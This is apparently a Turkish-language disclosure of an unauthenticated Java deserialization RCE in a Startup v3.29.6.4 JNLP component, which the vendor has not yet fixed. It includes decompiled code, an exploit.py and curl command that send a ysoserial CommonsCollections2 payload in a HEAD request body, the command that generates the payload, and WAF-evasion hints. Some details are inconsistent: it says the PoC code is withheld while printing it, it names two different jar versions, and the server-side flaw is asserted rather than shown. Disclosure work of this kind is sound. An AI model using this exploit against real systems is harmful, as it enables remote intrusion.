Skip to main content
Date: 2025-10-04
Reported to vendor: reported, vendor not yet remediated
Severity: Critical (CVSS v3.1 = 9.8) (Full system compromise risk)
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-502
Etki Kapsamı:Startupv3.29.6.4
Sınıflar: com.lbs.start.JLbsStartup, com.lbs.start.SocketToken
Uygulama, JNLP dosyasında yer alan DOCUMENT_URI parametresini istemci sunucu akışında kullanıyor ve bu URI/uç nokta üzerinden dönen istek gövdesini HTTP metodu ne olursa olsun (HEAD dahil) okuyup ObjectInputStream.readObject() ile deserialize ediyor. Sonuç olarak saldırgan, kimlik doğrulaması olmadan bile serialized bir gövdeyi HEAD isteğiyle taşıyıp sunucu tarafında gadget zincirini tetikleyebiliyor ve RCE elde edebiliyor. Bu davranış, HTTP standardında HEAD yanıt gövdesinin olmamasıyla karıştırılabiliyor ancak istek gövdesi uygulama katmanında yanlış tasarımla okunuyorsa, HEAD de dahil olmak üzere metot agnostik bir akış ortaya çıkıyor ve deserialize zinciri aynı şekilde çalışıyor. Zincirin pratik akışı şöyle gerçekleşiyor: İstemci tarafından sunulan JNLP, DOCUMENT_URI’yi uygulama başlatma parametresi olarak içeriyor; bu parametre sunucu tarafındaki web bileşenine aktarılıyor ve burada ilgili handler/servlet, isteğin gövdesini metot kontrolü yapmadan request.getInputStream() ile tüketiyor. Ardından bu akış bir servis katmanına devredilip new ObjectInputStream(in).readObject() çağrısına ulaşıyor. Deserialize sırasında sınıf yükleme ve readObject()giriş noktalarına bağlı bir gadget zinciri çalıştırılarak komut yürütme sağlanıyor. Bu nedenle saldırgan, ysoserial ile ürettiği bir payload.ser dosyasını Content-Type: application/x-java-serialized-object başlığıyla HEAD isteği gövdesine koyduğunda, uç nokta POST/PUT yerine HEAD ile çağrılsa bile, uygulamanın metot-agnostik gövde okuması yüzünden içerik deserialize edilip komut çalıştırılabiliyor. Küçük boyutta yapılan HEAD çağrıları 200 OK döndürüp JNLP sunabiliyor, bu, uç noktanın HEAD’i işlediğini ve gövdeyi en azından kısmen tükettiğini gösteriyor.
Kök neden açısından problem iki başlıkta toplanıyor:
  • Girdi güvenliği: Uygulama, doğrulanmamış/veri türü zorlanmamış bir girdi akışını doğrudan ObjectInputStream.readObject()’a iletiyor. Sınıf allowlist’i/object filter (JEP-290) gibi savunmalar yok ya da etkisiz.
  • HTTP semantiği ihlali: Handler/filtre/servlet katmanında HTTP metoduna göre gövde okuma ayrımı yapılmıyor. doHead veya ortak bir service dalında, koşulsuz getInputStream() tüketimi söz konusu; bu da HEAD ile bile gövde taşınmasını anlamlı ve sömürülebilir kılıyor.
Kimlik doğrulaması olmadan, ağ üzerinden uzaktan kod çalıştırma mümkündür. Zafiyetin doğrulanmasında kullanılan yapılandırmada Java 8 (IcedTea-Web/javaws tarafında JNLP başlatımı), Startupv3.34.8.3.jar’ın istemci başlangıç rolü ve arka tarafta Apache-Coyote/Tomcat yığını yer almıştır. WAF/405 sonradan, CVE tahsisinden sonra eklenmiştir; bu, PoC’nin bazı varyantlarını engellese de deserialize kodu kaldırılmadığı sürece kalıcı bir çözüm değildir.

Olay Akışı

  1. http://xx.xxx.xx.xxx:xxxx/xxxx/xxxx/runapp?... uç noktası tespit edildi; yanıt olarak JNLP döndürdüğü ve kimlik doğrulaması istemediği görüldü.
  2. JNLP içinde ana bileşenler Startupv3.29.6.4 gibi JAR’lara işaret ediyor.
  3. Startupv3.29.6.4 JAR analizi sırasında com.lbs.start.SocketToken sınıfında new ServerSocket(port) ve new ObjectInputStream(...).readObject() çağrıları belirlendi; gelen mesajlar filtre/allow-list olmadan işleniyor.
  4. ysoserial ile hazırlanan payload.ser CommonsCollections2 + TemplatesImpl + Runtime.exec HEAD isteğinin gövdesi olarak /smart/runapp’a gönderildi ve sunucuda dosya oluşturma ile RCE doğrulandı.

Teknik kanıt

runapp.jnlp içeriğinden doğruca startup.jar dosyasına yönlendirme var, ilgili linke gidip jar dosyasını sistemimde decode edip analiz ettim.

JAR içindeki com.lbs.start.SocketToken / new ServerSocket(port) + ObjectInputStream.readObject() çağrıları gelen socket üzerinde doğrudan readObject() çağırıyor.
/* 211 */     listenThread = new Thread(new Runnable()
/*     */         {
/*     */           public void run()
/*     */           {
/* 215 */             Socket connection = null;
/* 216 */             ObjectOutputStream out = null;
/* 217 */             ObjectInputStream in = null;
/* 218 */             String message = null;
/*     */ 
/*     */             
/*     */             while (true) {
/*     */               try {
/* 223 */                 connection = SocketToken.ms_Instance.accept();
/* 224 */                 System.out.println("Connection received from " + connection.getInetAddress().getHostName() + "Port:" + connection
/* 225 */                     .getPort());
/* 226 */                 out = new ObjectOutputStream(connection.getOutputStream());
/* 227 */                 out.flush();
/* 228 */                 in = new ObjectInputStream(connection.getInputStream());
/* 229 */                 out.writeObject("Connection successful");
/* 230 */                 out.flush();
/* 231 */                 System.out.println("server>- Connection successful");
/*     */ 
/*     */                 
/*     */                 try {
/* 235 */                   message = (String)in.readObject(); // UNTRUSTED DESERIALIZATION
/* 236 */                   System.out.println("client>" + message);
/* 237 */                   if (message.equals("LBS_Hello")) {
/*     */                     
/* 239 */                     out.writeObject("LBS_Hello");
/* 240 */                     out.flush();
/*     */                   } else {
/*     */ 
/*     */                     
/*     */                     try {
/*     */                       
/* 246 */                       if (processor != null) {
/* 247 */                         processor.processToken(message);
/*     */                       }
/*     */                     } finally {
/*     */                       
/* 251 */                       out.writeObject("SUCCESS");
/* 252 */                       out.flush();
/*     */                     }
/*     */                   
/*     */                   } 
  • Ayrıca initListen(...) içinde ms_Instance.accept() ile kabul edilen bağlantılarda yine new ObjectInputStream(connection.getInputStream()) çağrısı ve processor.processToken(message) ile gelen nesnenin uygulama mantığına verildiği görülüyor.
  • Gelen veriye hiçbir güvenlik filtresi uygulanmadan readObject() çağrısı yapılmakta.

    exploit.py // HEAD ile tetikleme
exploit.py
import requests

url = "http://xx.xxx.xxx.xx:xxxx/xxxxxx/xxxxx/runapp?mem=2048&lang=TRTR&access_token=test123&tenantId=1&firmNr=001" ## Veriler Rastgeledir.
payload_file = "payload.ser" ## bizim dosya

with open(payload_file, "rb") as f:
    payload = f.read()

response = requests.head(url, data=payload)

print(f"[+] Response: {response.status_code}")
print(response.headers)

if response.status_code == 200:
    print("[+] HEAD request successfully sent.")
else:
    print(f"[!] Error: {response.status_code}");
Veya
curl -v --http1.1 -X HEAD \
  -H 'Content-Type: application/x-java-serialized-object' \
  --data-binary @payload.ser \
  'http://host:xxxx/xxxx/smart/runapp'
Payload.ser
java --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
     --add-opens java.base/java.util=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections2 "touch /tmp/pwned" > payload.ser
DOCUMENT_URI ne yapıyor? JLbsStartup içinde JNLP parametresi DOCUMENT_URI okunup uygulama/applet’e setDocumentURI(String) ile aktarılıyor. Yani bu parametre, istemci tarafındaki ana bileşene “sunucuya hangi endpoint üzerinden bağlanacağını / doküman servisinin nerede olduğunu” bildiriyor. Dosyanın içinde bu akış net: satır ~524’te getParameter("DOCUMENT_URI") alınıyor, hemen ardından yansımayla setDocumentURI(...) çağrılıyor
JLbsStartup.java içinde tespit edilen bölüm:
/*     */         try {
/* 524 */           String docURI = getParameter("DOCUMENT_URI");
/* 525 */           if (docURI != null)
/*     */           {
/* 527 */             Method mtd3 = applet.getClass().getMethod("setDocumentURI", new Class[] { String.class });
/* 528 */             mtd3.invoke(applet, new Object[] { docURI });
/*     */           }
/*     */         
/* 531 */         } catch (Throwable throwable) {}
/*     */ 
JNLP’deki DOCUMENT_URI, istemci başlatılırken JLbsStartupden setDocumentURI(...) akışıyla ana uygulamaya aktarılıyor; böylece istemci, sunucu tarafındaki ‘document’ servisine hangi URI’dan konuşacağını biliyor. Deserialization ise bu istemci kodunda değil; server-side endpoint’te gerçekleşiyor.

Kanıtın Gözlemi

Payload.ser’i Yukarıda verdiğim şekilde CommonsCollections2 ile hazırla ve exploit.py yi çalıştır Ekrangörüntüsü2025 11 05014337 Pn Pyhon komutu ile HEAD isteği başarı ile gönderildi, burda beklediğimiz çıktı HEAD isteği başarıyla gönderildi çıktısını alabilmek. Ekrangörüntüsü2025 11 03213652 Pn HEAD attığımızla birlikte python kodunda girdiğimiz link işlenmiş, oraya girdiğimiz şey her ne olursa olsun bir önemi yok,. PUT veya DELETE gibi HTTP methodlarına kimlik doğrulamasız izin verdiği için bu işleme çok müsait bir ortam var. HEAD İsteği ile RCE standart gereği beklenmez, ancak yanlış/gevşek implementasyonlar nedeniyle mümkün oldu. Sonuç olarak, exploit.py’yi çalıştırdığım zaman sunucuda tmp/pwned klasörü oluştuğunu görebiliriz. Görsel 2025 11 05 195035620 Pn Şu anda ilgili firma zafiyeti tamamen gidermediği için, güvenlik riski devam ettiği sürece ayrıntılı poc veya exploit kodu yayımlamıyorum.

Zaman Çizelgesi

  • 05.10.2025 – İlk bildirim
  • 22.10.2025 – CVE tahsisi
  • 22.10.2025 sonrası – Vendor WAF/endpoint davranışını değiştiriyor (POST/PUT → 405; büyük gövdede RST; GET/HEAD 200 ile JNLP servis ediyor).

Saldırı yüzeyi

  • Giriş noktası: /xxxx/smart/runapp (JNLP üretim noktası) HEAD/GET isteklerine yanıt veriyor.
  • Parametre kökeni: JNLP içindeki DOCUMENT_URI argümanı istemci tarafından okunuyor; sunucu tarafında bu URI’ye karşılık gelen belge/akış işlenirken gövde verisi HTTP metodundan bağımsız olarak elde edilebiliyor.
  • Metot semantiği ihlali: HTTP/1.1’de HEAD gövdesi anlamsal olarak yok sayılmalıdır; ancak uygulama ortak handler’da getInputStream()’i koşulsuz okuduğu için HEAD ile gönderilen serialized içerik de işlenebiliyor.

İstismar önkoşulları

  • Kimlik doğrulama: Gerekmiyor.
  • Ağ erişimi: internet.
  • Gadget zinciri:CommonsCollections2

İstismar kolaylığı (Exploitability)

  • Ağ vektörü (AV:N): Uzak ağdan tetikleniyor.
  • Düşük karmaşıklık (AC:L): HEAD ile gövde kabul eden handler var
  • Kullanıcı etkileşimi (UI:N): Yok.
  • Ayrıcalık gereksinimi (PR:N): Yok.
  • Güvenlik kapsamı (S:U): Tipik olarak aynı bileşen içinde
  • Etkiler:
    • Gizlilik (C:H): Process yetkisiyle dosya/kimlik bilgisi sızdırma, JDBC dizeleri, erişim anahtarları.
    • Bütünlük (I:H): Keyfi komut ve bytecode çalıştırma.
    • Süreklilik (A:H): Hizmet kesintisi.
  • Güvenirlik: Aynı sürüm/sınıf yolu/gadget seti yakalandığında yüksek; WAF devredeyken ayarlama gerektirebilir (chunked, içerik türü/farklı başlıklar, boyut eşikleri, farklı metodlar).
Not (HEAD neden çalışıyor?): Uygulama, doHead()’i doGet()/process()’e delege ediyor veya tek bir “process” bloğu tüm metodlarda koşulsuz request.getInputStream() okuyor. Bu, standart uygulama farkından kaynaklanan bilinen bir “pitfall”; HEAD gövdeyi okumamalı, fakat okur ve deserialize ederse RCE’ye yol açabilir.

Neden risk yüksek?

  • Kimlik doğrulamasız, uzaktan, tek paketle tetiklenebilir bir RCE vektörü.
  • HEAD ile bile çalışabilmesi, klasik WAF kural setlerinin “sadece POST/PUT gövdesini incele” varsayımını bozar.
  • Java kurumsal ekosisteminde gadget bolluğu, pratikte yüksek istismar olasılığı demektir.

Kısıtlar Çevresel faktörler

  • Sonradan eklenen WAF: Büyük/şüpheli gövde gönderiminde **RST **veya 405 döndürüyor; bu semptomu gizler, kök nedeni kaldırmaz.
  • Class-path farklılıkları: Bazı sürümlerde belirli gadget’lar bulunmayabilir, ancak alternatif zincirler genelde mevcuttur.

Mitigasyon


Mitigasyon sonrası POST/PUT 405, büyük gövdede RST (WAF) ve HEAD/GET sadece JNLP döndürüyor ve dolayısıyla exploit yolu uygulamada kapatılmış görünüyor. Güncel testler ile hali ile:
METHOD  | BODY         | C-TYPE                               | SONUÇ
HEAD    | yok          | —                                    | 200 (jnlp headers)
HEAD    | 5B txt       | application/x-java-serialized-object | 200
HEAD    | 5B txt       | application/octet-stream             | 200
HEAD    | 100B .ser    | application/x-java-serialized-object | 200
HEAD    | >1000B .ser  | application/x-java-serialized-object | 405
POST    | 100B .ser    | application/x-java-serialized-object | WAF 
POST    | 400B .ser    | application/x-java-serialized-object | WAF
POST    | full .ser    | application/x-java-serialized-object | WAF
PUT     | 100/400/full | application/x-java-serialized-object | 405 
ancak kök neden kod tarafında kalıcı olarak kaldırılmadıysa risk mimaride hala var kabul edilmeli.

Hashler

Payload.ser
SHA-256 Hash: 3d302311134368d4fd6bd5e3ca6703510608bae3a0856281b11415dba952bff5
Boyut: 4.096

Startupv3.29.6.4.jar
SHA-256 Hash: d1b18391d76822a61a0434d47334d64d56471e1e2d89cd8e1962dfea16b96004
boyut: 200.704

Deserialization Kaynaklı RCE Nasıl Oluşur.

Ekrangörüntüsü2025 11 01220812 Pn Obje sınıfı ilk anlattığım gibi readObject() / ObjectInputStream gibi objeler olabilir, obje oldukça masumane bir şekilde ilgili sisteme veri getir götür işlemlerini yaparken, burada zafiyet olduğunu tespit eden Kötü Niyetli Saldırgan kişisi A olayında olduğu gibi, olan veriyi Serileştirerek içeriye sokar.
B olayında ise eğer kötü niyetli saldırgan serileştirilmiş veriyi gönderebilirse deserialization dediğimiz olay gerçekleşir ve sistem içeride bu veriyi seri durumdan çıkarır ve sistemi içeriye sokar. C olayında ise artık saldırganın içeride komut çalıştırmasının önünde bir engel kalmaz.
Bu çalışma yalnızca güvenlik araştırması ve farkındalık amacıyla yapılmıştır. İlgili kurum bilgilendirilmiş, güvenlik açığı kapatılana kadar exploit detayları paylaşılmamıştır.